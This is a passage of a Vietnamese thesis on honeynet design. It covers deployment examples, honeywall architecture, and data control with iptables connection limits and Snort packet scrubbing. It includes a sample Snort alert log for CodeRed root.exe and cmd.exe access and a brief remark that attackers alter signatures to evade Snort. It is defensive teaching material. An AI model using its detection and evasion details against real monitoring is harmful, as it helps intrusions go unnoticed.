a. Mô hình triển khai Honeynet của Đại học Bắc Kinh-Trung Quốc

15Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 16: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 1.3 - Sơ đồ triển khai dự án Artemis đại học Bắc Kinh, Trung Quốc

Hình 1.3 là sơ đồ triển khai Honeynet tại đại học Bắc Kinh, Trung Quốc trong một

dự án có tên là Artemis. Hiện tại, dự án đang triển khai trên nền Honeynet thế hệ thứ III,

mô hình triển khai gồm ba honeypot với các hệ điều hành khác nhau: Red Hat Linux9.0,

Windows XP, Windows 2000 và các honeypot ảo được giả lập chương trình honeyd. Và

ở mô hình này, Honeywall gồm có 3 card mạng:

Card thứ 1 được kết nối với 1 Router bên ngoài

Card thứ 2 được kết nối với các Honeypot bên trong

Card thư 3 thì được kết nối an toàn với Máy Console

Khi Hacker tấn công vào thì ba Honeypot và Honeypot ảo sẽ tương tác với Hacker,

và tiến hành thu thập các thông tin của Hacker như: địa chỉ IP của máy Hacker sử dụng,

các tool mà Hacker dùng, cách thức Hacker thâm nhập vào hệ thống……

Toàn bộ quá trình tấn công của Hacker sẽ được Honeywall ghi lại và đưa ra các

cảnh báo ( Alert ) cho người dùng biết.

b. Mô hình triển khai Honeynet trong dự án Honeynet tại Hy Lạp

16Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 17: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 1.4 - Sơ đồ triển khai Honeynet của Greek Honeynet Project

Hình 1.4 là sơ đồ triển khai Honeynet trong dự án Honeynet tại Hy Lạp, hệ thống

Honeynet sử dụng Honeywall phiên bản roo-1.0.hw-189, một honeypot với hệ điều hành

Red Hat 9.0 (DNS Server) và bốn honeypot ảo giả lập bằng honeyd các hệ điều hành: MS

Windows XP Pro SP1, Linux 2.4.20, Solaris 9 và Cisco 1601R IOS 12.1(5).

Trong mô hình này, Honeywall cũng có ba card mạng, và sơ đồ triển cũng gần

giống với mô hình triển khai của Đại học Bắc Kinh nhưng chỉ khác ở chỗ giữa máy

Console (Remote Management and Analysis Network ) và bốn máy Honeypot ảo có thêm

một Firewall. Firewall này sẽ đảm bảo bảo vệ an toàn cho máy Consle ngay cả khi

Hacker kiểm soát được các Honeypot ảo này.

c. Mô hình triển khai Honeynet trong dự án Honeynet tại Anh

17Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 18: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 1.5 - Sơ đồ triển khai Honeynet của UK Honeynet Project

Cuối cùng, hình 1.5 mô tả sơ đồ triển khai Honeynet của dự án Honeynet tại Anh.

Trong mô hình này, họ đã triển khai bốn Honeypot với các hệ điều hành: Red hat 7.3,

Fedora Core 1, Sun Solaris 7, Sun Solaris 9. Mô hình này cũng gần giống với hai mô

hình trên; chỉ khác nhau ở chỗ Máy Console ngoài kết nối tới Honeywall thì còn kết nối

với Router và được bảo vệ bằng một Firewall đứng giữa.

18Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 19: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

3. Vai trò và ý nghĩa của Honeynet

Qua các phần trên, ta có thể tóm tắt lại các vai trò và ý nghĩa của Honeynet như sau:

Honeynet giúp khám phá, thu thập các phương pháp - kỹ thuật tấn công của

Hacker, các công cụ Hacker sử dụng, đặc biệt là các kỹ thuật tấn công mới , các mẫu

virus- mã độc mới….Nhờ đó có những phân tích, định hướng mục tiêu tấn công, thời

điểm tấn công, kỹ thuật tấn công,… của Hacker. Từ đó, kịp thời đưa ra các dự báo, cảnh

báo sớm để mọi người phòng tránh.

Ví dụ gần đây nhất là vụ cảnh báo của các chuyên gia an ninh mạng thế giới về đợt

tấn công của Hacker bằng mã độc sâu (worm) Conficker vào ngày 1/4/2009. Tuy nhiên,

do được cảnh báo từ trước và sự nỗ lực của các chuyên gia an ninh mạng quốc tế mà đợt

tấn công này đã không diễn ra như mong đợi của Hacker.

Như vậy, Honeynet hoạt động như một hệ thống cảnh báo sớm.

Honeynet là môi trường thử nghiệm có kiểm soát an toàn giúp sớm phát hiện ra các

lỗ hổng bảo mật tồn tại trên các sản phẩm công nghệ thông tin đã triển khai - cài đặt trên

Hệ thống thật (Đặc biệt là các lỗ hổng Zero – day). Từ đó, sớm có biện pháp ứng phó -

khắc phục kịp thời. Đồng thời, honeynet cũng giúp kiểm tra độ an toàn của hệ thống

mạng, các dịch vụ mạng ( như : Web, DNS, Mail,…), và kiểm tra độ an toàn - tin cậy -

chất lượng của các sản phẩm thương mại công nghệ thông tin khác (đặc biệt là các Hệ

điều hành như: Unix, Linux, Window,…).

Thu thập các thông tin, dấu vết của Hacker ( như : địa chỉ IP của máy Hacker sử

dụng tấn công, vị trí địa lý của Hacker, thời gian Hacker tấn công,…). Từ đó, giúp

chuyên gia an ninh mạng truy tìm thủ phạm.

Kết luận : Qua chương này, chúng ta đã có những hiểu biết, kiến thức cơ bản về

Honeynet cùng với vai trò và mục đích của xây dựng – triển khai Hệ thống này, và chúng

ta cũng đã biết một số mô hình Honeynet đã được triển khai trên thế giới . Ở chương sau,

chúng ta sẽ tìm hiểu kỹ hơn về mô hình kiến trúc và nguyên lý hoạt động của Hệ thống

này.

19Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 20: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

CHƯƠNG II- MÔ HÌNH KIẾN TRÚC HONEYNET

Ở chương trước, chúng ta đã hiểu được cơ bản về Honeynet. Ở chương này, Đồ án

sẽ tiếp tục trình bày về quá trình phát triển mô hình kiến trúc vật lý của Honeynet. Và Đồ

án cũng trình bày mô hình logic của Honeynet để giúp chúng ta hiểu được quá trình hoạt

động của Honeynet, thông qua ba Module của mô hình logic là:

Module điều khiển dữ liệu

Module thu nhận dữ liệu

Module phân tích dữ liệu

1. Mô hình kiến trúc vật lý

1.1. Mô hình kiến trúc Honeynet thế hệ I

Mô hình Honeynet thế hệ I gồm một mạng riêng biệt được tạo ra đặt đằng sau một

thiết bị điều khiển truy nhập mạng, thường là tường lửa (Firewall); và bất kỳ luồng dữ

liệu vào ra Honeynet đều phải đi qua tường lửa. Honeyney được bố trí trên một mạng

riêng biệt với vùng mạng sản xuất để giảm nguy cơ mất an toàn cho hệ thống.

Hình 2.1- Mô hình kiến trúc vật lý Honetnet thế hệ I

20Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 21: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Ở mô hình Honeynet thế hệ I này thì hệ thống tường lửa (Firewall) và Hệ thống

phát hiện xâm nhập ( Instruction Detection System – IDS) là hai hệ thống độc lập nhau.

Đây chính là sự khác biệt giữa Honeynet I với Honeynet II và Honeynet III. Ở mô hình

Honeynet II và III thì hai hệ thống Firewall và IDS được kết hợp thành một hệ thống

Gateway duy nhất là Honeywall.

Trong hệ thống Honeynet, Firewall giữ vai trò kiếm soát các luồng dữ liệu ra vào hệ

thống, nhằm chỉ cho Hacker tấn công vào Honeynet và ngăn chặn không cho Hacker tấn

công vào vùng mạng sản xuất hay không cho Hacker biến Honeynet làm công cụ để tấn

công các Hệ thống mạng bên ngoài. Firewall thực hiện được nhiệm vụ này là dựa vào các

luật (Rule) định nghĩa sự cho phép (Allow) hoặc không cho phép (Deny ) các truy cập từ

bên ngoài vào hoặc bên trong hệ thống ra. Dưới đây là hình minh họa một số luật của

Firewall (Check Ponit) đối với Honeynet:

Hình 2.2 – Một số luật Firewall đối với Honeynet

Bên cạnh Firewall, Honeynet còn bố trí hệ thống phát hiện xâm nhập IDS-Snort.

Snort có nhiệm vụ kịp thời phát hiện và ngăn chặn các kỹ thuật tấn công đã được biết,

đã được định nghĩa trong tập luật (Rule) của Snort (Các luật của Snort định nghĩa các

dấu hiệu, các mẫu tấn công mạng). Snort thực hiện thanh tra nội dung các gói tin, và so

sánh nội dung các gói tin này với tập luật. Khi Snort phát hiện thấy các gói tin có nội

21Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 22: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

dung gây nguy hiểm cho hệ thống mạng thì Snort sẽ chặn các gói tin này lại để ngăn

chặn tấn công của Hacker vào hệ thống và đưa ra cảnh báo cho người quản trị biết.

Dưới đây là một ví dụ về cảnh báo của Snort khi phát hiện thấy sự tấn công của sâu Red

Code lan truyền trên mạng qua dịch vụ web:

[**] [1:1256:2] WEB-IIS CodeRed v2 root.exe access [**]

[Classification: Web Application Attack] [Priority: 1]

12/21-22:07:24.686743 216.80.148.118:2094 -> 10.1.1.106:80

TCP TTL:111 TOS:0x0 ID:17545 IpLen:20 DgmLen:112 DF

***AP*** Seq: 0xE34143C1 Ack: 0x68B5B8F Win: 0x2238 TcpLen: 20

[**] [1:1002:2] WEB-IIS cmd.exe access [**]

[Classification: Web Application Attack] [Priority: 1]

12/21-22:08:50.889673 216.80.148.118:1864 -> 10.1.1.106:80

TCP TTL:111 TOS:0x0 ID:24785 IpLen:20 DgmLen:120 DF

***AP*** Seq: 0xEEE40D32 Ack: 0x8169FC4 Win: 0x2238 TcpLen: 20

1.2. Mô hình kiến trúc Honeynet II, III

Honeynet thế hệ II được phát triển vào năm 2002 và Honeynet thế hệ III được đưa ra

vào cuối năm 2004. Về cơ bản, Honeynet II và Honeynet III có cùng một kiến trúc. Điểm

khác biệt chính là Honeynet III cải tiến việc triển khai và quản lý.

Một thay đổi cơ bản trong kiến trúc của Honeynet II và Honeynet III so với

Honeynet I là sử dụng một thiết bị đơn lẻ điều khiển việc kiểm soát dữ liệu và thu nhận

dữ liệu được gọi là Honeywall (Honeynet Sensor).

Honeywall là sự kết chức năng của hai hệ thống tường lửa Firewall và hệ thống phát

hiện xâm nhập IDS của mô hình kiến trúc Honeynet I. Nhờ vậy chúng ta dễ dàng triển

khai và quản lý hơn.

Sự thay đổi trong Honeywall chủ yếu ở module kiểm soát dữ liệu. Honeywall làm

việc ở tầng hai (trong mô hình OSI) như là một thiết bị Bridge. Nhờ sự thay đổi này mà

Honeynet II, Honeynet III đã khiến cho kẻ tấn công khó phát hiện ra là chúng đang tương

tác với Hệ thống “bẫy” Honeynet vì hai đầu card mạng của eth0 (kết nối với mạng bên

22Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 23: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

ngoài Honeynet – phía hacker) và eth1 (kết nối với Honeynet) đều không có địa chỉ mạng

IP. Vì vậy, Honeynet hoàn toàn “trong suốt” với Hacker.

Hình 2.3 - Mô hình kiến trúc Honeyney thế hệ II, III

1.3. Hệ thống Honeynet ảo

Việc triển khai- xây dựng hệ thống Honeynet yêu cầu từ một lượng lớn thiết bị phần

cứng tùy theo quy mô của hệ thống Honeynet mà chúng ta cần triển khai. Nhằm giảm chi

phí đầu tư một lượng lớn thiết bị phần cứng trên, người ta đưa ra một mô hình kiến trúc

Honeynet mới. Đó là Mô hình kiến trúc hệ thống Honeynet ảo.

Về mặt bản chất, mô hình này vẫn cơ bản giống như Honeynet II và III, vẫn sử dụng

một Honeywall Gateway nhưng chỉ khác ở chỗ Honeyney ảo là một mô hình kiến trúc

vật lý mới của Honeynet nhằm triển khai hầu như toàn bộ hệ thống Honeynet trên một hệ

thống máy đơn ( Máy thật). Mục đích để làm giảm chi phí xây dựng hệ thống Honeynet

và dễ dàng cho quản lý.

Hai lựa chọn để triển khai hệ thống Honeynet ảo là sử dụng công cụ phần mền

VMWare và User Mode Linux cho phép tạo ra nhiều máy tính ảo trên một hệ thống máy

tính thật. Trong đó, VMWare là sản phẩm thương mại, giải pháp được hỗ trợ thiết kế để

chạy trên đa môi trường hệ điều hành cùng một lúc. VMWare chỉ chạy trên kiến trúc

Intel bởi vậy chỉ các hệ điều hành trên kiến trúc Intel mới làm việc VMWare. Còn User

23Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 24: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Mode Linux (còn gọi là UML) là giải pháp mã nguồn mở với tính năng tương tự. Tuy

nhiên, UML hiện tại đang bị giới hạn cho hệ điều hành Linux.

Bên cạnh những ưu điểm, hệ thống Honeynet ảo cùng một số hạn chế là bị giới hạn

hệ điều hành và kiến trúc được hỗ trợ bởi phần mềm.

Hình 2.4 - Mô hình kiến trúc Honeynet ảo

Sơ đồ trên gồm hay máy tính vật lý: Máy tính thứ nhất là Honeynet gateway (cài

Honeywall) hoạt động cũng như ở mô hình Honeynet II, III là kiểm soát dữ liệu, thu nhận

dữ liệu cho Honeynet. Và trên máy thứ hai thì cài đặt nhiều hệ điều hành máy ảo, mỗi hệ

điều hành máy ảo là một honeypot.

Tóm lại: trong các mô hình kiến trúc Honeynet trên thì ngày nay mô hình

Honeynet ảo là phổ biến hơn cả. Tuy nhiên, hoạt động của Honeynet trong mô hình này

vẫn giống như hoạt động của Honeynet II,III, và cơ bản giống như Honeynet I. Phần trình

bày của Đồ án về Mô hình kiến trúc loggic của Honeynet dưới đây sẽ cho chúng ta hiểu

rõ về phương thức hoạt động, làm việc của Hệ thống Honeynet,

24Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 25: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2. Mô hình kiến trúc loggic của Honeynet

Dù Honeynet được triển khai – xây dựng theo mô hình nào, ở thế hệ Honeynet nào đi

nữa thì Honeynet vẫn có mô hình kiến trúc loggic chung như sau:

Hình 2.5 - Mô hình kiến trúc logic của Honeynet

Trong một hệ thống Honeynet bao gồm ba module chính :

Module điều khiển dữ liệu ( hay kiểm soát dữ liệu): nhiệm vụ của Module này là

kiểm soát dữ liệu vào – ra Hệ thống Honeynet, kiểm soát hoạt động của kẻ tấn công, ngăn

chặn kẻ tấn công sử dụng hệ thống mạng Honeynet để tấn công hay gây tổn hại cho các

hệ thống bên ngoài khác. Để thực hiện được nhiệm vụ này, Honeynet đã sử dụng hai

công cụ chính là Firewall Iptables và IDS-Snort.

Module thu nhận dữ liệu : nhiệm vụ của Module này là thu thập thông tin, giám sát

và ghi lại các hành vi của kẻ tấn công bên trong Hệ thống Honeynet. Để thực hiện được

nhiệm vụ này, Honeynet đã sử dụng công cụ Sebek client- server.

Module phân tích dữ liệu : nhiệm vụ của Module này là hỗ trợ phân tích dữ liệu thu

nhận được nhằm đưa ra: kỹ thuật, công cụ và mục đích tấn công của hacker. Từ đó, giúp

25Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Hệ thống Honeynet

Kết quả phân tích

Điều khiển dữ liệu (Kiểm soát dữ liệu)

Thu nhận dữ liệu (Sebek client-server)

Phân tích dữ liệu ( Walley)

Lưu trữ dữ liệu

Chính sách(IPtables + Snort) Luồng thông tin

Page 26: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

đưa ra các biện pháp phòng chống kịp thời. Và các công cụ Walley, Hflow trong

Honeynet sẽ thực hiện được nhiệm vụ này.

Căn cứ vào mô hình kiến trúc logic của Honeynet, ta có thể tóm tắt qúa trình hoạt

động của Hệ thống Honeynet như sau:

Đầu tiên, luồng dữ liệu đi vào sẽ được kiểm soát bởi chính sách luật của Firewall

Iptables (Firewall Iptables gồm có các luật (Rule) định nghĩa sự cho phép (Allow) hoặc

không cho phép (Deny) các truy cập từ bên ngoài đi vào hoặc bên trong hệ thống đi ra, và

kiểm soát các luồng dữ liệu qua Honeywall) và chính sách luật của IDS-snort (hay còn

gọi là IDS sensor: gồm có các luật (Rule ) định nghĩa các dấu hiệu tấn công).

Tiếp theo, Module thu thập dữ liệu sẽ sử dụng công cụ Sebek client – server để tiến

hành thu thập thông tin. Thông tin thu thập được sẽ được lưu vào trong Cơ sở dữ liệu

(Data Store).

Cuối cùng, nhờ sự hỗ trợ của các công cụ Walley, Hflow, Module phân tích sẽ tiến

hành thực hiện phân tích nội dung các thông tin thu thập được ở trong Cơ sở dữ liệu. Từ

đưa ra kết quả phân tích cho thấy Honeynet có phải đang bị tấn công hay không? Nếu bị

tấn công thì kiểu kỹ thuật tấn công (chẳng hạn như: Dos-Ddos, XSS, SQL-injection,….)

của kẻ tấn công là gì ? Công cụ Hacker sử dụng là gì?....

Để giúp hiểu kỹ hơn về hoạt động của Hệ thống Honeynet, Đồ án sẽ tiếp tục phân

tích kỹ hơn về ba Module này.

2.1. Module điều khiển dữ liệu (hay kiểm soát dữ liệu)

2.1.1. Vai trò - nhiệm vụ của Module điều khiển

Khi Honeynet không có sự kiểm soát dữ liệu thì Hệ thống sẽ phải đối mặt với

những nguy cơ lớn như :

* Kẻ tấn công có thể chiếm được quyền kiểm soát Honeynet và thực hiện các hành

vi phá hoại hệ thống.

* Honeynet bị kẻ tấn công lợi dụng biến thành công cụ để tấn công vào các hệ

thống mạng bên ngoài khác…...

Từ đó, đặt ra yêu cầu cần phải có cơ chế kiểm soát dữ liệu, cụ thể là:

* Thứ nhất là cho phép kẻ tấn công tấn công vào bên trong hệ thống Honeynet

nhưng phải kiểm soát được các hành vi của kẻ tấn công.26

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 27: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

* Thứ hai là ngăn chặn, loại bỏ các tấn công của kẻ tấn công ra bên ngoài.

Nhiệm vụ của module điều khiển dữ liệu là ngăn chặn kẻ tấn công sử dụng hệ

thống mạng Honeynet để tấn công hay gây tổn hại cho các hệ thống bên ngoài khác.

Khi một honeypot bên trong Honeynet bị hacker kiểm soát, chúng ta phải kiểm chế

hoạt động và đảm bảo honeypot không bị sử dụng để gây tổn hại cho các hệ thống khác.

Kiểm soát dữ liệu làm giảm nhẹ nguy cơ đe dọa, nó kiểm soát hoạt động của kẻ tấn

công bằng việc giới hạn các luồng thông tin vào/ra trong hệ thống mạng

Nguy cơ đe dọa ở đây, đó là một khi kẻ tấn công gây tổn hại tới hệ thống bên trong

Honeynet, chúng có thể sử dụng chính hệ thống Honeynet này để tấn công các hệ thống

khác bên ngoài hệ thống Honeynet. Ví dụ một hệ thống nào đó trên Internet. Kẻ tấn công

phải bị kiểm soát để nó không thể thực hiện điều đó. Yêu cầu đặt ra là Modul điều khiển

dữ liệu phải hoạt động tốt sao cho kẻ tấn công chỉ thực hiện các tấn công vào hệ thống

Honeynet mà không gây tổn hại tới các hệ thống khác ở bên ngoài.

- Dưới đây là mô hình kiểm soát dữ liệu:

Hình 2.6 - Mô hình kiểm soát dữ liệu

27Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 28: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Với mô hình kiểm soát dữ liệu này thì thông tin đi vào Honeynet không bị hạn chế

nhưng thông tin ra đi ra thì lại bị hạn chế, bị kiểm soát chặt chẽ.

2.1.2. Cơ chế kiểm soát dữ liệu

Việc kiểm soát dữ liệu được thực hiện ngay tại Gateway (Honeywall), và dựa trên hai

cơ chế là:

* Một là giới hạn số lượng kết nối ra bên ngoài

* Hai là lọc gói tin độc hại - Packet Scrubbed.

Để hiểu được cơ chế kiểm soát dữ liệu, chúng ta sẽ đi vào tìm hiểu từng cơ chế này.

a, Giới hạn số lượng kết nối ra bên ngoài

Cơ chế này cho phép bất kỳ kết nối nào đi vào nhưng lại giới hạn kiểm soát số

lượng kết nối ra bên ngoài và khi đạt tới giới hạn thì tất cả các kết nối ra bên ngoài về sau

sẽ bị chặn lại. Cơ chế này được thực hiện thông qua sử dụng Firewall IPtables, Firewall

phải tính số lượng kết nối ra bên ngoài và khi đạt tới giới hạn nào đó hệ thống sẽ chặn các

kết nối vượt quá. Nhờ vậy, mà giảm thiểu nguy cơ kẻ tấn công sử dụng hệ thống

Honeynet làm công cụ để thực hiện tấn công vào các hệ thống bên ngoài khác (Bởi vì để

thực hiện các hoạt động này đòi hỏi cần sử dụng nhiều kết nối từ trong hệ thống

Honeynet ra bên ngoài.).

Việc giới hạn được thiết lập bởi người quản trị, không có một quy tắc giới hạn cụ

thể nào cố định cho Module điều khiển dữ liệu, người thiết kế hệ thống căn cứ vào yêu

cầu và mục đích của hệ thống để đưa ra các giới hạn phù hợp với tình hình thực tế. Nếu

tăng số lượng kết nối ra bên ngoài sẽ cho phép hoạt động tấn công của hacker diễn ra

nhiều hơn từ đó chúng ta thu được nhiều thông tin có giá trị hơn song đồng thời cũng gây

nhiều nguy hiểm hơn. Còn nếu cho phép ít hoặc không cho kết nối ra bên ngoài, thì sẽ ít

nguy cơ hơn song cách này gây ra sự nghi ngờ cho kẻ tấn công và có thể phát hiện ra

chúng đang tương tác với hệ thống Honeynet. Sau đó, chúng có thể thực hiện các hành vi

phá hoại như: xóa dữ liệu hay đưa vào các thông tin sai lệch nhằm phá vỡ các tính toàn

vẹn, tính sẵn sàng của thông tin.

Tóm lại, số lượng kết nối cho phép ra bên ngoài tùy thuộc vào cái mà chúng ta cố

gắng tìm hiểu và số lượng nguy cơ mà chúng ta chấp nhận đối mặt.Thông thường, hệ

28Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 29: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

thống Honeynet cho phép từ 10 đến 20 kết nối ra bên ngoài trong 1 ngày. Số lượng này

đối với hacker là khá mềm dẻo giống như mở 1 kết nối ra bên ngoài để tải công cụ hay

thực hiện IRC để truyền thông. Song lại đủ số lượng để chặn hầu hết các tấn công ra bên

ngoài như tấn công từ chối dịch vụ hay dò quét hệ thống.

b) Lọc gói tin độc hại (Packet Scrubbed)

Cơ chế này có nhiệm vụ phát hiện ra những luồng dữ liệu gây nguy hiểm cho hệ

thống. Cơ chế lọc gói tin độc hại thường được thực hiện bởi hệ thống ngăn chặn xâm

nhập mức mạng NIPS (Network Intrustion Prevention Systems), cụ thể ở đây là hệ thống

IDS-Snort.

Mục đích của NIPS là để phát hiện và ngăn chặn những tấn công đã biết được

đinh nghĩa trong tập các luật (Rule) của NIPS. NIPS thực hiện công việc này bằng

phương pháp thanh tra mỗi gói tin khi nó đi qua gateway, nó thực hiện so sánh nội dung

gói tin với cơ sở dữ liệu mẫu tấn công có sẵn (Các Rule) nhằm phát hiện ra dấu hiệu tấn

công.

Khi phát hiện ra luồng dữ liệu tấn công, hệ thống sẽ thực hiện các biện pháp ngăn

chặn tấn công thích hợp. Trên thực tế, NIPS thực hiện ngăn chặn bằng việc thực hiện hai

biện pháp sau :

* Thứ 1 là loại bỏ gói tin : thực hiện hủy bỏ gói tin chứa nội dung độc hại không

cho đi ra bên ngoài (chặn cuộc tấn công). Biện pháp này thực hiện đơn giản song kém

linh hoạt dễ gây nghi ngờ cho hacker.

* Thứ 2 là thay thế, sửa chữa gói tin : thay vì loại bỏ gói tin thì NIPS sẽ thực hiện

thay thế nội dung bên trong gói tin khiến nó vô hại đối với hệ thống bên ngoài (vô hiệu

hóa cuộc tấn công). NIPS sẽ thay đổi một vài byte bên trong đoạn mã khai thác, làm mất

hiệu lực chức năng của nó và cho phép nó tiếp tục đi ra ngoài. Hacker sẽ thấy cuộc tấn

công được phát động như ý muốn. Biện pháp này cho phép chúng ta giành được quyền

kiểm soát hành vi của kẻ tin tặc tốt hơn đồng thời nó cũng hết sức linh hoạt khiến hacker

khó phát hiện hơn.

Tóm lại, Cơ chế lọc gói tin độc hại được thực hiện thông qua hệ thống ngăn chặn

xâm nhập mức mạng NIPS (Network Intrustion Prevention Systems), cụ thể ở đây là hệ

thống IDS-Snort.29

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 30: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

2.1.3. Kiểm soát dữ liệu trong Honeynet II

Honeynet được phát triển qua ba thế hệ là thế hệ I, II và III. Về mặt bản chất thì cả

ba thế hệ Honeynet này đều có cách thức kiểm soát dữ liệu gần giống nhau. Tuy nhiên,

Honeynet II,III có những điểm cải tiến nâng cao hơn sao với Honeynet I. Vì vậy, chúng

ta sẽ phân tích về Kiểm soát dữ liệu trong Honeynet II để minh họa cho Module kiểm

soát dữ liệu của Honeynet. Từ đó, giúp chúng ta thấy được những cải tiến nâng cao của

Honeynet II so với Honeynet I.

a) Tường lửa IPTABLES

Giới thiệu:

Chương trình tường lửa IPtables là do Netfilter Organiztion viết ra để nhằm tăng

tính năng bảo mật trên hệ thống Linux. Iptables cung cấp các tính năng sau:

Tích hợp tốt với nhân (kernel) của Linux.

Có khả năng phân tích gói tin (package) hiệu quả.

Lọc gói tin dựa vào địa chỉ MAC và một số cờ hiệu trong TCP Header

Cung cấp chi tiết các tùy chọn để ghi nhận sự kiện hệ thống .

Cung cấp kỹ thuật NAT

Có khả năng ngăn chặn một số cơ chế tấn công theo kiểu DoS

Cơ chế xử lý package trong iptables   :

IPtables sẽ kiểm tra tất cả các package khi nó đi qua iptables host, quá trình kiểm

tra này được thực hiện một cách tuần tự entry đầu tiên đến entry cuối cùng.

Có ba loại bảng trong iptables:

* Mangle table: chịu trách nhiệm biến đổi quality of service bits trong TCP header.

Thông thường loại table này được ứng dụng trong SOHO (Small Office/Home Office).

* Filter queue: chịu trách nhiệm thiết lập bộ lọc packet (packet filtering), có ba loại

built-in chains được mô tả để thực hiện các chính sách về firewall (firewall policy rules) :

- Forward chain : Cho phép packet nguồn chuyển qua firewall.

- Input chain : Cho phép những gói tin đi vào từ firewall.

- Output chain : Cho phép những gói tin đi ra từ firewall.

* NAT queue: thực thi chức năng NAT (Network Address Translation), cung cấp

hai loại built-in chains sau đây: 30

Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 31: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

- Pre-routing chain : NAT từ ngoài vào trong nội bộ. Quá trình NAT sẽ thực hiện

trước khi khi thực thi cơ chế routing. Điều này thuận lợi cho việc đổi địa chỉ đích để địa

chỉ tương thích với bảng định tuyến của firewall, khi cấu hình ta có thể dùng khóa

DNAT để mô tả kỹ thuật này.

- Post-routing chain: NAT từ trong ra ngoài. Quá trình NAT sẽ thực hiện sau khi

thực hiện cơ chế định tuyến. Quá trình này nhằm thay đổi địa chỉ nguồn của gói tin. Kỹ

thuật này được gọi là NAT one-to-one hoặc many-to-one, được gọi là Source NAT hay

SNAT.

Để có cái nhìn tổng quát đối với việc lọc và xử lý gói trong iptables,

chúng ta xem hình sau:

Hình 2.7 – Quá trình lọc và xử lý gói tin của IPtables

Trong Hệ thống Honeynet thì IPtables có vai trò hết sức quan trọng trong việc

kiểm soát dữ liệu, thực hiện giới hạn số lượng kết nối ra bên ngoài, chỉ cho Hacker tấn

công vào Honeynet nhưng lại ngăn chặn Hacker biến Honeynet thành công cụ, bàn đạp

để tấn công vào vùng mạng sản xuất và các hệ thống mạng bên ngoài.

Hình 2.8 dưới đây mô tả quá trình kiểm soát dữ liệu của Honeynet:

31Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 32: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Hình 2.8 - Sơ đồ kiểm soát dữ liệu

Quá trình kiểm soát dữ liệu của IPTABLES: Sau khi Hacker tấn công được vào

Honeynet, chiếm được quyền kiểm soát Honeypot thì Hacker sẽ cố gắng tiếp tục sử dụng

Honeypot làm công cụ để thực tấn công các Hệ thống mạng bên ngoài như : tấn công từ

trối dịc vụ, tấn công dò quét hệ thống,…. Để thực hiện được các tấn công này thì sẽ phải

cần phải mở rất nhiều kết nối từ Honeypot ra bên ngoài. Tuy nhiên, do có tường lửa

IPTABLES thực hiện nhiệm vụ giới hạn số lượng kết nối ra bên ngoài nên Hacker không

thể thực hiện thành công các tấn công này.

b) IDS Snort

Giới thiệu:

Snort là một trong các sản phẩm an ninh mạng phát hiện xâm nhập (Instruction

Detection System – IDS) được sử dụng phổ biến nhất hiện nay. Snort chứa một tập luật

định nghĩa dấu hiệu các kỹ thuật tấn công đã được biết. Snort thực hiện thanh tra nội

dung các gói tin và so sánh nội dung các gới tin này cơ sở dữ liệu mẫu các tấn công (các

Rule). Khi phát hiện thấy có dấu hiệu bị tấn công thì Snort có thể phản ứng bằng nhiều

cách khác nhau phụ thuộc vào cấu hình mà chúng ta thiết lập, chẳng hạn như nó có thể

gởi thông điệp cảnh báo đến nhà quản trị hay loại bỏ gói tin khi phát hiện có sự bất

thường trong các gói tin đó.

32Học Viện Kỹ Thuật Mật Mã – Khoa An Toàn Thông Tin

Page 33: Do an-Honeypots 001

Đồ Án Tốt Nghiệp

Tuy nhiên snort cũng có điểm yếu. Đó là tương tự như các bộ quét virus (virus

scanner), snort chỉ có thể chống lại các cuộc tấn công một cách hiệu quả nếu như nó biết

được dấu hiệu (signature) của các cuộc tấn công đó. Dựa vào điểm này, các hacker "cao

thủ" có thể điều chỉnh các cuộc tấn công để thay đổi signature của cuộc tấn công đó. Từ

đó các cuộc tấn công này có thể "qua mặt" được sự giám sát của snort. Như vậy có thể

thấy rằng, để snort hoạt động một cách hiệu quả thì một trong những yếu tố quan trọng

cần phải chú ý là các luật viết cho snort. Khi snort hoạt động, nó sẽ đọc các tập luật, giám

sát luồng dữ liệu chạy qua hệ thống và sẽ phản ứng nếu có bất kì luồng dữ liệu nào phù

hợp với tập luật của nó. Cụ thể hơn, tập luật có thể được tạo ra để giám sát các nỗ lực

quyét cổng (scanning), tìm dấu vết (footprinting), hoặc nhiều phương pháp khác mà các

hacker dùng để tìm cách chiếm quyền hệ thống. Tập luật này có thể được tạo ra bởi người

dùng hoặc người dùng có thể truy cập đến trang chủ của snort là: http://www.snort.org để

lấy về.

Vai trò, hoạt động của Snort trong Honeynet:

Trong việc kiểm soát dữ liệu của Honeynet, Snort đóng vai trò hết sức quan trọng,

